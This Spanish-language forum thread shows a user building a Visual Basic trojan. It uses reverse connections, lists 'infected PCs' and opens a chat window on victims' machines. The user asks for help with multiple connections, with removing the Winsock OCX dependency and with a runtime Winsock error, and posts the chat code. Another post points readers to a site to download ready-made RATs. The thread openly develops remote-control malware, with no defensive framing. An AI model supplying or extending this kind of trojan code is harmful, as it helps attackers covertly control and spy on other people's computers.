Mensajes

La verdad que no te entendi bien Slasher Keeper  , lo siento por repetir con la pregunta , no ocurria más , si pudieses esplicarmelo un poco , soy bastante tosco. Bueno un salu2

Nadie me puede dar una idea porfavo ??? 

  Hola , pues estoy haciendo una aplicación cliente/servidor y quiero darle esta opción la de aseptar + de una conexión , pero mi idea es : Tener un formulario de escucha en un puerto ( el del servidor , asi recoje en una listbox todas las pcs infectadas ) , luego al clikar ensima de una ip de la listbox que ejecute el cliente y por último manejar a esa maquina con el cliente. De todo eso que he escrito tengo la mitad he conseguido todo eso , hasta lo de clikar y ejecutar el cliente , pero donde estoy atascado es a la hora de que el cliente conecte a esa ip de la listbox , decir que uso conexion inversa  , entonces no me ago la idea de como puedo hacer que al picar en una de las ips , ejecute el cliente y conecte , solo consigo que ejecute el cliente , pero no que conecte con esa ip por conexion inversa , bueno espero que alguien que me entienda me pueda dar alguna idea o un ejemplo sencillito , bueno me despido  , salu2.

hay una .ocx que con ella podrias hacerlo fácilmente , una seria Anigif y la otra no recuerdo el nombre , pero vamos que si colocas en google ( por ejemplo ) , como reproducir un gif en Visual Basuc te saldra lo que buscas... bye.

Hola , es que al añadirle al proyecto este modulo y esta calse de modulo me ha interferido en el servidor ( es una aplicación cliente / servidor) y me ha dado problemas , alomejor ago algo mal , nose si alguien sabria ayudarme  , un salu2

Ya funciona....pero fue al quitar el modulo modSocketMaster y el CSocketMaster se los agrege para que no dependa el servidor del mswinscok.ocx y al quitarselo este modulo y esta clase , anda perfectamente no se si ustedes sabrian en que puede interferir este modulo y esta clase , ya que era el fallo derivado de haberselas añadido al proyecto  espero que alguien me pudieses ayudar pues me interesa que no dependa del mswinsock.ocx y quiero agregarselas al proyecto otra vez pero sabiendo como hacerlo pues ya que me hacia interferencias con el troyano ; en este caso con el Chat del trojan , y estoy totalmente seguro pues fue quitarlas del proyecto y me funciona perfectamente el chat , bueno salu2.

Slasher Keeper , como puedo mirar lo que tú dices ??? no entiendo bien tu respuesta , yo no he abierto ninguna conexion con "open" y cerrarla ..pues ..lo que ago es conectar primero el cliente , luego abro el form del chat ( del cliente) ,conecto el chat , luego activo el chat ( para que me muestre el form a la pc infectada) , luego ya puedo chatear , pero...pasa ese  problema , no se que puede ser , sera lo que tú dices !!

el error  en ingles dice esto : wrong protocol or connection state for the request transaction or request

  Hola , tengo un problema y es que en mi trojan le ise un chat , pero solo envia desde el cliente al chat del servidor ( frmChat) y el winsock lo tengo en el frmPrincipal ( todo esto en el server ) el winsock lo llame sock1 , y resulta que me da un error en tiempo de ejecucion , no se porque no consigue enviar desde el server al cliente , mientras que de cliente a server si envia , el codigo es este

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Dim Envio As String
Envio = Text1.Text
If Envio <> "" Then
  B.AddItem "Yo: " & Envio
  sock1.SendData Envio
  Text1.Text = ""
End If
End Sub

eso en el Chatfrm del cliente en un command1

siguiente :

Código [Seleccionar] Expandir

Private Sub sock1_DataArrival(ByVal bytesTotal As Long)
Dim Envio As String
sock1.GetData Envio, vbString
B.AddItem "Server: " & Envio
End Sub

eso en el data arrival del Chatfrm del Cliente

----El Servidor----

frmChat del servidor:

en un command

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Envio = Text1.Text
If Envio <> "" Then
  B.AddItem "Yo: " & Envio
  frmPrincipal.sock1.SendData Envio
  Text1.Text = ""
End If
End Sub


aora en el data arrival del frmPrincipal del servidor
donde tengo el objeto winsock ( sock1)

Código [Seleccionar] Expandir

Private Sub sock1_DataArrival(ByVal bytesTotal As Long)
Dim Envio As String
sock1.GetData Envio, vbString
If sock1.State = 7 Then
frmChat.B.AddItem "Cliente: " & Envio
End If
Select Case Envio
Case "hi"
frmChat.Show
Case "bye"
frmChat.Visible = False
End Select
End Sub

Y donde me marca el error al debugearlo es :

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Envio = Text1.Text
If Envio <> "" Then
  B.AddItem "Yo: " & Envio
   [color=Green]frmPrincipal.sock1.SendData Envio[/color] <AKI
  Text1.Text = ""
End If
End Sub

  no se si sera mejor bajarlo de su web oficial :  www.evileyesoftware.com     ---> en Full Rats !!! hay man in the middle mira que no saber donde taba ese trojan jajja enga
salu2